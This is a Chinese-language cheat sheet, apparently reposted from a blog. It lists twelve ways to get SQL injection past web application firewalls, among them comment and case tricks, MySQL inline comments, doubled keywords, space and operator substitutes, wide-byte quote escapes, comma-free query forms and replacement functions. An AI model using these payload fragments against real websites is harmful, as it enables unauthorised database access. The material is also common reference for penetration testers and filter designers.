SQL注入繞過方法


1.注釋符繞過

  --注釋內容

  #注釋內容

  /*注釋內容*/

  ;

2.大小寫繞過

  常用與waf的正則對大小寫不敏感的情況下

  例:waf過濾了關鍵字select,可以用Select繞過過濾

3.內聯注釋繞過

  內聯注釋就是把一些特有的僅在MySQL上的語句放在/*!...*/中,這些語句如果在其它數據庫中不會被執行,但在MySQL中會執行

4.雙寫關鍵字繞過

  在某一些簡單的waf,將關鍵字select等只使用replace()函數置換為空,這個時候可以使用雙寫關鍵字繞過

  例:select --> seleselectct 在經過waf的處理之后變成select,達到繞過的目的

5.特殊編碼繞過

  把需要注入的語句換成其他編碼形式,如:十六進制、ASCII編碼

6.空格過濾繞過

  一般用下面的方法取代空格,繞過空格過濾:

  /**/

  ()

  回車(url編碼中的%0a)

  `(tab鍵上面的按鈕)

  tab

  兩個空格

7.過濾or and xor not繞過

  and = &&

  or = ||

  xor = |  異或關系

  not = !

8.過濾等號=繞過

  1.不加通配符的like、rlike執行的效果和 = 一致

  2.regexp操作符用於配匹正則表達式, id regexp 1 與 id = 1 效果一樣

  3.使用大小於號來繞過,id > 1 and id < 3 與 id = 1 效果一樣

  4.<>等價於!= 所以在前面加一個!結果就是等號 !(id<>1) 與 id = 1 效果一樣

9.過濾大小於號繞過

  1.greates(n1,n2,n3,...): 返回n中的最大值

  2.least(n1,n2,n3,...): 返回n中的最小值

  3.strcmp(str1,str2): 若所有的字符串均相同,則返回STRCMP(),若根據當前分類次序,第一個參數小於第二個參數,則返回-1,其他情況返回1

  4.in 關鍵字,str1 in str2 字符串1是否在字符串2中

  5.between a and b :范圍在a-b之間 (也可用於 = 繞過:id between 1 and 1 與 id = 1 效果相同)

10.過濾引號繞過

  1.使用十六進制

  2.寬字節

  過濾單引號時 %bf%27  %df%27  %aa%27 

  %df\' = %df%5c%27 = 縗'

11.過濾逗號繞過

  SQL盲注時常用到的函數 substr(),mid(),limit()等,如果waf過濾了逗號,並且只能盲注,那我們就要采取一些其他的函數代替了:

  substr("string",pos,len) 等價於 substr("string" from pos for len)

  union select 1,2,3 等價於 union select * from (select 1)a join (select 2)b join(select 3)c 

  select ascii(substr(user(),1,1))=114 等價於 select user() like"%r"

  limit 2,1 等價於 limit 1 offset 2

12.過濾函數繞過

  sleep() --> benchmark(x,y)   第一個參數是執行次數,第二個參數是執行的表達式

  ascii() --> hex()、bin()  替換之后再使用對應的進制轉string即可

  group_concat("str1", "," ,"str2") --> concat_ws("," , "str1" , "str2")

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM